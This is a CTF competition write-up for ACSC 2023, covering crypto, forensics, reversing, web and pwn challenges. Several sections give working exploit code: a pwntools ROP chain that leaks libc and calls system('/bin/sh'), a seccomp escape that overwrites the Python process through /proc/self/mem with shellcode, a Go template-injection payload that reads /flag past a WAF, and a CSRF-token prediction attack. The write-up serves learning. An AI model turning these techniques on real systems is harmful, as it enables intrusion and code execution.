I participated in ACSC CTF 2023 despite my overwhelming amount of homework ._. _(that was a mistake)_. Here are some of the writeups of the challenges that I did.
Vaccine
Just your typical ROP challenge. We are given a binary + 2 text files, RNA.txt and secret.txt, as well as the typical Dockerfile setup files. The program is straightforward:
int main(int argc, const char **argv, const char **envp){ size_t v3; // rbx char v5[112]; // [rsp+10h] [rbp-170h] BYREF char buf[112]; // [rsp+80h] [rbp-100h] BYREF char s[104]; // [rsp+F0h] [rbp-90h] BYREF FILE *v8; // [rsp+158h] [rbp-28h] FILE *stream; // [rsp+160h] [rbp-20h] int i; // [rsp+16Ch] [rbp-14h]
stream = fopen("RNA.txt", "r"); fgets(s, 100, stream); printf("Give me vaccine: "); fflush(_bss_start); __isoc99_scanf("%s", buf); for ( i = 0; ; ++i ) { v3 = i; if ( v3 >= strlen(buf) ) break; if ( buf[i] != 65 && buf[i] != 67 && buf[i] != 71 && buf[i] != 84 ) { puts("Only DNA codes allowed!"); exit(0); } } if ( strcmp(s, buf) ) { puts("Oops.. Try again later"); exit(0); } puts("Congrats! You give the correct vaccine!"); v8 = fopen("secret.txt", "r"); fgets(v5, 100, v8); printf("Here is your reward: %s\n", v5); return 0;}
We have a overflow in scanf
, reading unlimited bytes into buf
. s
and the stack frame is after buf
, so we can place a null byte as the first byte of buf
and s
to bypass the strcmp
check, then overwrite the return address to ROP and print a GOT address then run main again.
Once we print out the GOT address (libc address), we can repeat the above, but now we can ROP to system('/bin/sh')
.
from pwn import *
context.binary = e = ELF("./vaccine")rop1 = ROP(e)rop1.puts(e.got.puts)rop1.main()
libc = ELF("./libc.so.6")
p = remote("nc vaccine-2.chal.ctf.acsc.asia 1337")
p.sendlineafter(":", flat({ 0: b"\0", 0x70: b"\0", 0x100: p64(0) + rop1.chain() }))
p.recvuntil("reward: ")print(p.recvline())
puts = u64(p.recvline()[:-1].ljust(8, b"\0"))libc.address = puts - libc.sym.putssuccess(f"{hex(libc.address) =}")
rop2 = ROP(libc)rop2.raw(rop2.ret)rop2.system(next(libc.search(b"/bin/sh")))
p.sendlineafter(":", flat({ 0: b"\0", 0x70: b"\0", 0x100: p64(0) + rop2.chain() }))
p.interactive()
Merkle Hellman
We are given a python file that implements the Merkle-Hellman cryptosystem.
#!/usr/bin/env python3import randomimport binascii
def egcd(a, b): if a == 0: return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y)
def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('modular inverse does not exist') else: return x % m
def gcd(a, b): if a == 0: return b return gcd(b % a, a)
flag = open("flag.txt","rb").read()# Generate superincreasing sequencew = [random.randint(1,256)]s = w[0]for i in range(6): num = random.randint(s+1,s+256) w.append(num) s += num
# Generate private keytotal = sum(w)q = random.randint(total+1,total+256)r = 0while gcd(r,q) != 1: r = random.randint(100, q)
# Calculate public keyb = []for i in w: b.append((i * r) % q)
# Encryptingc = []for f in flag: s = 0 for i in range(7): if f & (64>>i): s += b[i] c.append(s)
print(f"Public Key = {b}")print(f"Private Key = {w,q}")print(f"Ciphertext = {c}")
# Output:# Public Key = [7352, 2356, 7579, 19235, 1944, 14029, 1084]# Private Key = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910)# Ciphertext = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]
After a quick readthrough, I realized that with just knowing b
, the public key, we can solve this problem, since every characer in the flag represents a number in the ciphertext, one-to-one. You can see this in the ciphertext as well, where the second and fourth characters are both 22465
(the ‘C’ in ‘ACSC’).
Thus, I ran the algorithm on all printable characters and mapped them back to reclaim the flag:
b = [7352, 2356, 7579, 19235, 1944, 14029, 1084]# Encryptingc = []import stringflag = string.printable.encode("utf-8")
for f in flag: s = 0 for i in range(7): if f & (64>>i): s += b[i] c.append(s)
g = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]f = ""for i in g: f += string.printable[c.index(i)]print(f)
pcap-1
We are given a pcap of USB packets (plus some other random protocols). The challenge text clued me into thinking I had to recover key presses:
Here is a packet capture of my computer when I waspreparing my presentation on Google Slides. Can youreproduce the contents of the slides?
After some intense googling, I landed on this writeup. I applied the filter and after some playing around, I got here:
The preceding data was mostly mouse captures, which I expected to be part of the next challenge (pcap-2, which I didn’t solve).
For some reason Scapy was refusing to see the packets as USB packets. So after a bit of scrolling though, I just started collecting keys manually in order, and got the flag manually.
Admin Dashboard
We are given a web challenge with a few php files + Docker setup. I will just focus on one file, addadmin.php
:
<?php ini_set('display_errors', 1); ini_set('display_startup_errors', 1); error_reporting(E_ALL); $params = session_get_cookie_params(); $params['httponly'] = true; $params['samesite'] = 'Lax'; session_set_cookie_params($params);
session_start(); if (!isset($_SESSION["user"])){ echo '<meta http-equiv="refresh" content="0;url=login">'; die(); } $conn = new mysqli("localhost","admin","admin","dashboard_db"); if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); }
$sql = "SELECT * FROM secrets"; $stmt = $conn->prepare($sql); $stmt->execute(); $result = $stmt->get_result(); $row = $result->fetch_assoc(); if($row){ $A = gmp_import($row['A']); $C = gmp_import($row['C']); $M = gmp_init("0xc4f3b4b3deadbeef1337c0dedeadc0dd"); } if (!isset($_SESSION['X'])){ $X = gmp_import($_SESSION["user"]["username"]); $_SESSION['X'] = gmp_mod(gmp_add(gmp_mul($A, $X),$C),$M); $_SESSION["token-expire"] = time() + 30; }else{ if(time() >= $_SESSION["token-expire"]){ $_SESSION['X'] = gmp_mod(gmp_add(gmp_mul($A, $_SESSION['X']),$C),$M); $_SESSION["token-expire"] = time() + 30; } }?><html>
<head> <title>Add admin account</title> <script src="https://code.jquery.com/jquery-3.4.1.slim.js" integrity="sha256-BTlTdQO9/fascB1drekrDVkaKd9PkwBymMlHOiG+qLI=" crossorigin="anonymous"></script> <!-- Bootstrap core CSS --> <link href="./bootstrap.min.css" rel="stylesheet"></head>
<body> ...
<main role="main" class="container"> <div class="col-xl-6 mt-5"> <form class="form-add-note" action="addadmin" method="POST"> <label for="title" class="sr-only">Username</label> <input type="text" name="username" class="form-control" placeholder="Username" required="" autofocus=""> <input type="password" name="password" class="form-control" placeholder="Password" required="" autofocus=""> <input type="hidden" name="csrf-token" value="<?=gmp_strval($_SESSION['X'],16)?>"> <button class="btn btn-primary btn-block mt-2" type="submit">Add admin user</button> </form> <?php if(isset($_REQUEST['username']) && isset($_REQUEST['password']) && isset($_REQUEST['csrf-token'])){ if($_SESSION["user"]["role"] !== "admin"){ echo "<p class='text-danger'>No permission!</p>"; }else{ if($_REQUEST['csrf-token'] === gmp_strval($_SESSION['X'],16)){ $sql = "INSERT INTO users (username, password, role) VALUES (?,?,'admin')"; $stmt = $conn->prepare($sql); $stmt->bind_param("ss", $_REQUEST['username'], $_REQUEST['password']); $result = $stmt->execute(); echo "<p class='text-success'>Added successfully!</p>"; }else{ echo "<p class='text-danger'>Wrong token!</p>"; } } } ?> </div></main>
</body>
</html>
There is also a report feature, where the admin logins in and visits a link.
Clearly, we are supposed to give a link to addadmin.php
to add a user as admin, then we can login with the admin status. But to do that, we must first find $_SESSION['X']
.
Interestingly, we know that this value is constant throughout. After all, the bot visits our links with a fresh session each time. We don’t know $A
and $C
, but $X
is gmp_import(username)
and username is ‘admin’, and $M
is known in this equation: $_SESSION['X'] = ($A*$X + $C) % $M
.
I tried to leak out the the value $C
by using a username that is 0 = gmp_import(username)
, but I could never register such a username. Instead, I created a users with username alohaamegos
.. alohaamegow
, and saw how the value of $_SESSION['X']
changed (printed in the csrf-token
). Since the names when gmp_import
-ed are just 1 number away from each other, I managed to recover $A
. After that I just did ($_SESSION['X'] for alohaamegos) - $A * (gmp_import('alohaamegos') - gmp_import('admin')) % $M
to recover the value that $_SESSION['S']
is for admin, which was 794012a4d68a19dda718e8f04553f4e3. Then I just sent a addadmin.php link with this csrf and a new username and password to the report page, and logged in with the new user details to see the flag.
serverless
Just a little Javascript obfuscation. The core of the code is given below:
function b(d, f) { var g = [ 0x9940435684b6dcfe5beebb6e03dc894e26d6ff83faa9ef1600f60a0a403880ee166f738dd52e3073d9091ddabeaaff27c899a5398f63c39858b57e734c4768b7n, 0xbd0d6bef9b5642416ffa04e642a73add5a9744388c5fbb8645233b916f7f7b89ecc92953c62bada039af19caf20ecfded79f62d99d86183f00765161fcd71577n, 0xa9fe0fe0b400cd8b58161efeeff5c93d8342f9844c8d53507c9f89533a4b95ae5f587d79085057224ca7863ea8e509e2628e0b56d75622e6eace59d3572305b9n, 0x8b7f4e4d82b59122c8b511e0113ce2103b5d40c549213e1ec2edba3984f4ece0346ab1f3f3c0b25d02c1b21d06e590f0186635263407e0b2fa16c0d0234e35a3n, 0xf840f1ee2734110a23e9f9e1a05b78eb711c2d782768cef68e729295587c4aa4af6060285d0a2c1c824d2c901e5e8a1b1123927fb537f61290580632ffea0fbbn, 0xdd068fd4984969a322c1c8adb4c8cc580adf6f5b180b2aaa6ec8e853a6428a219d7bffec3c3ec18c8444e869aa17ea9e65ed29e51ace4002cdba343367bf16fdn, 0x96e2cefe4c1441bec265963da4d10ceb46b7d814d5bc15cc44f17886a09390999b8635c8ffc7a943865ac67f9043f21ca8d5e4b4362c34e150a40af49b8a1699n, 0x81834f81b3b32860a6e7e741116a9c446ebe4ba9ba882029b7922754406b8a9e3425cad64bda48ae352cdc71a7d9b4b432f96f51a87305aebdf667bc8988d229n, 0xd8200af7c41ff37238f210dc8e3463bc7bcfb774be93c4cff0e127040f63a1bce5375de96b379c752106d3f67ec8dceca3ed7b69239cf7589db9220344718d5fn, 0xb704667b9d1212ae77d2eb8e3bd3d5a4cd19aa36fc39768be4fe0656c78444970f5fc14dc39a543d79dfe9063b30275033fc738116e213d4b6737707bb2fd287n, ], h = [ 0xd4aa1036d7d302d487e969c95d411142d8c6702e0c4b05e2fbbe274471bf02f8f375069d5d65ab9813f5208d9d7c11c11d55b19da1132c93eaaaba9ed7b3f9b1n, 0xc9e55bae9f5f48006c6c01b5963199899e1cdf364759d9ca5124f940437df36e8492b3c98c680b18cac2a847eddcb137699ffd12a2323c9bc74db2c720259a35n, 0xcbcdd32652a36142a02051c73c6d64661fbdf4cbae97c77a9ce1a41f74b45271d3200678756e134fe46532f978b8b1d53d104860b3e81bdcb175721ab222c611n, 0xf79dd7feae09ae73f55ea8aa40c49a7bc022c754db41f56466698881f265507144089af47d02665d31bba99b89e2f70dbafeba5e42bdac6ef7c2f22efa680a67n, 0xab50277036175bdd4e2c7e3b7091f482a0cce703dbffb215ae91c41742db6ed0d87fd706b622f138741c8b56be2e8bccf32b7989ca1383b3d838a49e1c28a087n, 0xb5e8c7706f6910dc4b588f8e3f3323503902c1344839f8fcc8d81bfa8e05fec2289af82d1dd19afe8c30e74837ad58658016190e070b845de4449ffb9a48b1a7n, 0xc351c7115ceffe554c456dcc9156bc74698c6e05d77051a6f2f04ebc5e54e4641fe949ea7ae5d5d437323b6a4be7d9832a94ad747e48ee1ebac9a70fe7cfec95n, 0x815f17d7cddb7618368d1e1cd999a6cb925c635771218d2a93a87a690a56f4e7b82324cac7651d3fbbf35746a1c787fa28ee8aa9f04b0ec326c1530e6dfe7569n, 0xe226576ef6e582e46969e29b5d9a9d11434c4fcfeccd181e7c5c1fd2dd9f3ff19641b9c5654c0f2d944a53d3dcfef032230c4adb788b8188314bf2ccf5126f49n, 0x84819ec46812a347894ff6ade71ae351e92e0bd0edfe1c87bda39e7d3f13fe54c51f94d0928a01335dd5b8689cb52b638f55ced38693f0964e78b212178ab397n, ], j = Math["floor"](Math["random"]() * (0x313 * -0x8 + 0x24c1 + -0xc1f)), // 10 k = Math["floor"](Math["random"]() * (-0x725 + -0x1546 + 0x1c75)), // 10 l = g[j], o = h[k], r = l * o, s = Math["floor"](Math["random"]() * (0x2647 + 0x1 * 0x2f5 + -0x2937)), // 5 // t = pow(2, pow(2, s)) + 1 t = Math["pow"]( -0x14e6 + 0x43 * 0x55 + -0x7 * 0x31, Math["pow"](-0x14e1 * 0x1 + -0x2697 + 0x2e * 0x14b, s), ) + (-0x235d + 0x2 * 0x82b + 0x3a * 0x54);
function u(A) { var B = new TextEncoder()["encode"](A); let C = 0x0n; for (let D = 0; D < B["length"]; D++) { C = (C << 0x8n) + BigInt(B[D]); } return C; } var v = u(d);
function w(A, B, C) { if (B === 0) return 0x1n; return B % 2 === 0 ? w((A * A) % C, B / 2, C) : (A * w(A, B - 1, C)) % C; } var x = w(v, t, r); let y = []; while (x > 0) { y["push"](Number(x & 0xff)), (x = x >> 0x8); } y["push"](Number(s)), y["push"](Number(k)), y["push"](Number(j)); var z = new TextEncoder()["encode"](f); for (let A = 0; A < y["length"]; ++A) { y[A] = y[A] ^ z[A % z["length"]]; } return btoa(y["reverse"]());}
We are also given the output of this function as a base64 string, as well as the value of f
, which is the password acscpass
. Just doing the reverse of what the algorithm does, we can easily obtain s
, k
, j
which are the random values, as well as x
:
var d = [...] // un-base64 valuevar y = d.reverse();
var z = new TextEncoder()['encode']("acscpass");
for (let A = 0; A < y['length']; ++A) { y[A] = y[A] ^ z[A % z['length']];}console.log(y);
j = y.pop()k = y.pop()s = y.pop()
x = BigInt(0)for (let i = 0; i < y.length; i++) { x |= BigInt(y[i]) << (8n*BigInt(i))}
x
is the output of w(v, t, r)
and v = u(d)
. u
is just string to BigInt conversion, byte by byte, of d
, the plaintext parameter. t
and r
are known since we know s
, j
and k
. w
is fast exponentiation of v^t % r
.
It took me like 7 hours to figure out that this is RSA… r = n = p * q
, and we know p, q = l, o
which are known. e = t
is also known. Plugging the values into RsaCtfTool:
evalbox
Probably the most fun challenge in this ctf. We are given the seccomp python library, and Dockerfile setup, as well as the source code of the server:
#!/usr/bin/env python3import seccomp
if __name__ == '__main__': f = seccomp.SyscallFilter(defaction=seccomp.ALLOW) f.add_rule(seccomp.KILL, 'close') f.load() eval(input("code: "))
We can run arbitrary code, as long as it does not call the close
syscall. This is a bit strange, since all we need to do is open('flag.txt').read()
, right?
However, the Dockerfile says that flag.txt has been renamed:
...RUN chmod 440 flag.txt...RUN mv flag.txt flag-$(md5sum flag.txt | awk '{print $1}').txt...
So we need to get a file listing first. What about if we get shell?
__import__('os').system('sh')
Well that didn’t work. But that makes sense right? To load a new process you need to open the shared libraries (ld.so
, libc.so.6
), map them into memory, then close them.
What about just os.listdir()
?
print(__import__('os').listdir('.'))
Apparently what happens is that after opendir
, the fd is dup
so that it can get close
afterwards … ok python.
Similarly, scandir
failed for the same reason for me
print(next(__import__('os').scandir('.')))
P.S. that’s because I’m dumb, there is a way to make this work…
I fired up the Docker image and installed strace onto it. I wanted to manually call the libc.readdir
function, by importing ctypes
. Apparently that doesn’t work either, because imports that are not already loaded at this point in time will cause a file read of the .pyc file and will close the file, which triggers the seccomp. After some painful debugging and frantic googling, I settled on a dumb solution that I had used in the past.
We can simple overwrite the entire python3 executable section with shellcode, by parsing the /proc/self/maps
file to find the r-x
section, then write + lseek to /proc/self/mem
at the address to write in shellcode. The solution is given below:
from pwn import *
context.arch = 'amd64'#a = asm('int3')a = b""a += asm(shellcraft.open('.'))a += asm(shellcraft.getdents('rax', 'rsp', 0x500))a += asm(shellcraft.write(1, 'rsp', 0x500))a += asm(shellcraft.exit(0))
b = a.hex()
line = f"""(lambda maps, mem, sc:
(lambda mapsstr:
(lambda s, e:print(mapsstr, hex(s), hex(e), hex(e-s-len(sc)), __import__('os').lseek(mem, s, 0),__import__('os').write(mem, b'\\x90'*(e-s-len(sc)) + sc)))(int(mapsstr.split(b'\\n')[1].split(b'-')[0], 16),int(mapsstr.split(b'\\n')[1].split(b'-')[1].split(b' ')[0], 16))
)(__import__('os').read(maps, 0x200))
)(__import__('os').open('/proc/self/maps', 0),__import__('os').open('/proc/self/mem', 2),bytes.fromhex('{b}'))"""line = line.replace('\n', '')print(line)
p = remote('evalbox-2.chal.ctf.acsc.asia', 9341)pause()p.recvuntil("code:")
p.sendline(line)
p.interactive()
The filenames will be dumped out (a bit messy to find the file name, can just Ctrl-F). Then a simple open + read will leak out the flag.
easySSTI
We are given golang templating server with a obvious SSTI vulnerability:
func templateMiddleware(next echo.HandlerFunc) echo.HandlerFunc { return func(c echo.Context) error { file, err := os.Open("./template.html") if err != nil { return err } stat, err := file.Stat() if err != nil { return err } buf := make([]byte, stat.Size()) _, err = file.Read(buf) if err != nil { return err }
userTemplate := c.Request().Header.Get("Template")
if userTemplate != "" { buf = []byte(userTemplate) }
c.Set("template", buf) return next(c) }}
func handleIndex(c echo.Context) error { tmpl, ok := c.Get("template").([]byte)
if !ok { return fmt.Errorf("failed to get template") }
tmplStr := string(tmpl) t, err := template.New("page").Parse(tmplStr) if err != nil { return c.String(http.StatusInternalServerError, err.Error()) }
buf := new(bytes.Buffer)
if err := t.Execute(buf, c); err != nil { return c.String(http.StatusInternalServerError, err.Error()) }
return c.HTML(http.StatusOK, buf.String())}
func main() { e := echo.New()
e.Use(middleware.Logger()) e.Use(middleware.Recover())
e.GET("/", handleIndex, templateMiddleware)
e.Logger.Fatal(e.Start(":3001"))}
We also have a WAF that blocks the flag:
server.register(proxy, { upstream: "http://app:3001", replyOptions: { rewriteRequestHeaders: (req, headers) => { const allowedHeaders = ["host", "user-agent", "accept", "template"]; return Object.fromEntries( Object.entries(headers).filter((el) => allowedHeaders.includes(el[0])), ); }, onResponse: (request, reply, res) => { const dataChunk = []; res.on("data", (chunk) => { dataChunk.push(chunk); });
res.on("end", () => { const data = dataChunk.join("");
if (/ACSC\{.*\}/.test(data)) { return reply.code(403).send("??"); }
return reply.send(data); }); }, },});
The c
object is a echo.Context. It contains a File method, which we can use if we set the template header as below:
Template: {{.File "/flag"}}
This triggers the WAF and gets blocked. Surely the context has some useful functions/fields? We can get the http.Request
as well as the Response
, but we can also get the *Echo instance. A quick look at the file shows us that we can call the .File function to add new route handlers (they still get blocked for /flag).
However, Echo inherits from fileSystem, which has the Filesystem.Open
method which gives us the fs.File
instance. This contains the Read
method, but we need to find a suitable parameter for the byte[]
. After a little bit of pain, I realised I could use the “template” context metadata as a byte buffer:
{{.Get "template"}} {{ .Get "template" | (.Echo.Filesystem.Open "/flag").Read }} {{.Get "template"}}
This also bypassed the WAF since the bytes get encoded. If not, I could .Seek
the file first to skip the first character and bypass the WAF anyway.
Hardware is not so hard
I was actually scared of this challenge, but it turned out to be really easy. I little bit of googling and reading led me to CMD17, the read command and information on the SPI command format.
I realised that the data starts from here:
The 51 is CMD17 (0x51 - 0x40 = 17), and the argument is 0 (middle 3 bytes). The response is 1 byte, followed by many bytes, then another request.
So all we need to do is combine the responses together. The data for each response actually starts after we see the first 0xfe, and goes on until the second last byte (last 2 bytes are CRC). But you can just smash the data together, as they could be out of order. For CMD17, the argument specifies which 512-byte-block of data to get. Using this, we can build back the file in the correct order:
from pwn import *file = open('f.txt').readlines()
#[(True, 0101) ...] <-- True means Device to SD Carddata = list(map( lambda x: (x.startswith('Device'), bytes.fromhex(x.split(' : ')[1])), file ))consider = Falses = [None]*1000last = Nonefor fr, data in data: if fr: last = data continue if b"JFIF" in data: consider = True if consider and data != b"\x00": a = last cmd = a[0] - 0x40 arg = u64(a[1:5].rjust(8, b"\0"), endianness='big') d = data[data.find(b"\xfe") + 1:-2] s[arg] = d
s = b"".join(s[:s.index(None)])
open("wat.jpg", "wb").write(s)
ngo
The challenge was a bit weird … I googled a lot for it, but I ended up just writing a slightly more optimized version of the code to solve it.
int __cdecl main(int argc, const char **argv, const char **envp){ unsigned __int64 j; // [rsp+28h] [rbp-18h] char v5; // [rsp+33h] [rbp-Dh] int i; // [rsp+34h] [rbp-Ch] unsigned __int64 v7; // [rsp+38h] [rbp-8h]
sub_140001780(); puts("The flag is \"ACSC{"); v7 = 1i64; for ( i = 0; i <= 11; ++i ) { for ( j = 0i64; j < v7; ++j ) v5 = w(); putc(v5 ^ (unsigned __int8)xorarr[i]); v7 *= 42i64; } puts("}\".\n"); return 0;}
__int64 w(){ int tmp; // [rsp+8h] [rbp-8h]
tmp = n & 1; n = n >> 1; n ^= -tmp & 0x80200003; return n;}
It’s basically just a Galois LFSR. Each character is formed by 42^i iterations of the LFSR. This will explode for 11 chracters, but we know the number is 32-bit and will wrap around, so our ‘optimized’ version of the code can just modulus:
data = [0x01, 0x19, 0xEF, 0x5A, 0xFA, 0xC8, 0x2E, 0x69, 0x31, 0xD7, 0x81, 0x21]key = 0x3D2964F0cnt = 0total = 0print('ACSC{')for i in data: total = pow(42,cnt) rnd = total % 0xFFFFFFFF print(rnd) for j in range(rnd): key = (key >> 1) ^ (-(key & 1) & 0x80200003) print(chr((key ^ data[cnt]) & 0xFF)) cnt += 1print('}')
The only difference is the modulus. It still takes ~1 hour to run…
Conclusion
I had fun, but I got tripped up by the pwn challenges (they are not even in the same level of difficulty as the other categories…). Too much math involved in all the challenges as well, for some reason. But I enjoyed it, even if I don’t think I will be selected for the team (3rd in SG but there are quotas).